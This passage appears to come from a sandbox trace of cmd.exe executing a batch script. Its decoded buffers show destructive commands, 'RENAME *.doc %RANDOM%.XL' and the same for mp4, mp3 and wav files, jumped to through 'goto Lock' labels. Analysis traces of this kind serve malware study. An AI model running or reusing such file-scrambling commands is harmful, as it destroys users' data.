lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.158] SetFilePointer (in: hFile=0x74, lDistanceToMove=1455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0038.158] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ncx %RANDOM%.XL\r\n") returned 11 [0038.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0038.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.159] GetFileType (hFile=0x74) returned 0x1 [0038.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5af [0038.159] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=1457, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0038.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0038.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.159] GetFileType (hFile=0x74) returned 0x1 [0038.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b1 [0038.159] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=1463, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0038.159] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":doc\r\nock\r\n") returned 6 [0038.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0038.159] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.159] GetFileType (hFile=0x74) returned 0x1 [0038.159] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b7 [0038.159] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=1465, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0038.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\noc\r\n") returned 2 [0038.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0038.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.160] GetFileType (hFile=0x74) returned 0x1 [0038.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5b9 [0038.160] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=1491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0038.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.doc %RANDOM%.XL\r\n\n") returned 26 [0038.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0038.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.160] GetFileType (hFile=0x74) returned 0x1 [0038.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5d3 [0038.160] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=1502, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0038.160] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0038.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.160] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0038.160] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.160] GetFileType (hFile=0x74) returned 0x1 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5de [0038.161] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=1504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0038.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0038.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.161] GetFileType (hFile=0x74) returned 0x1 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e0 [0038.161] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=1510, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0038.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0038.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0038.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.161] GetFileType (hFile=0x74) returned 0x1 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e6 [0038.161] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=1512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0038.161] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np4\r\n") returned 2 [0038.161] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.161] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0038.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.162] GetFileType (hFile=0x74) returned 0x1 [0038.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5e8 [0038.162] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=1538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0038.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n") returned 26 [0038.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0038.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.162] GetFileType (hFile=0x74) returned 0x1 [0038.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x602 [0038.162] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=1549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0038.162] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n") returned 11 [0038.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0038.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.162] GetFileType (hFile=0x74) returned 0x1 [0038.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60d [0038.162] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=1551, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0038.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0038.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.163] GetFileType (hFile=0x74) returned 0x1 [0038.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x60f [0038.163] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=1557, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0038.163] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp3\r\nock\r\n") returned 6 [0038.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0038.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.163] GetFileType (hFile=0x74) returned 0x1 [0038.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0038.163] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=1559, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0038.199] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0038.199] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.199] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0038.231] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.232] GetFileType (hFile=0x74) returned 0x1 [0038.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0038.232] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=1585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0038.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0038.232] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0038.232] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.232] GetFileType (hFile=0x74) returned 0x1 [0038.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0038.232] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=1596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0038.232] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0038.232] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0038.232] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.232] GetFileType (hFile=0x74) returned 0x1 [0038.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0038.233] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=1598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0038.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0038.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.233] GetFileType (hFile=0x74) returned 0x1 [0038.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0038.233] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=1604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0038.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0038.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0038.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.233] GetFileType (hFile=0x74) returned 0x1 [0038.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0038.233] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=1606, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0038.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0038.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0038.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.234] GetFileType (hFile=0x74) returned 0x1 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0038.234] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=1632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0038.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0038.234] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0038.234] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.234] GetFileType (hFile=0x74) returned 0x1 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0038.234] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=1643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0038.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0038.234] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0038.234] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.234] GetFileType (hFile=0x74) returned 0x1 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0038.234] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=1645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0038.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.234] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0038.235] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.235] GetFileType (hFile=0x74) returned 0x1 [0038.235] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0038.235] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.235] SetFilePointer (in: hFile=0x74, lDistanceToMove=1651, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0038.235] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0038.235] _close (_FileHandle=3) returned 0 [0038.235] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.235] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.235] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.236] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.236] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.236] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.236] SetConsoleInputExeNameW () returned 0x1 [0038.236] GetConsoleOutputCP () returned 0x1b5 [0038.236] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.236] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.236] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: 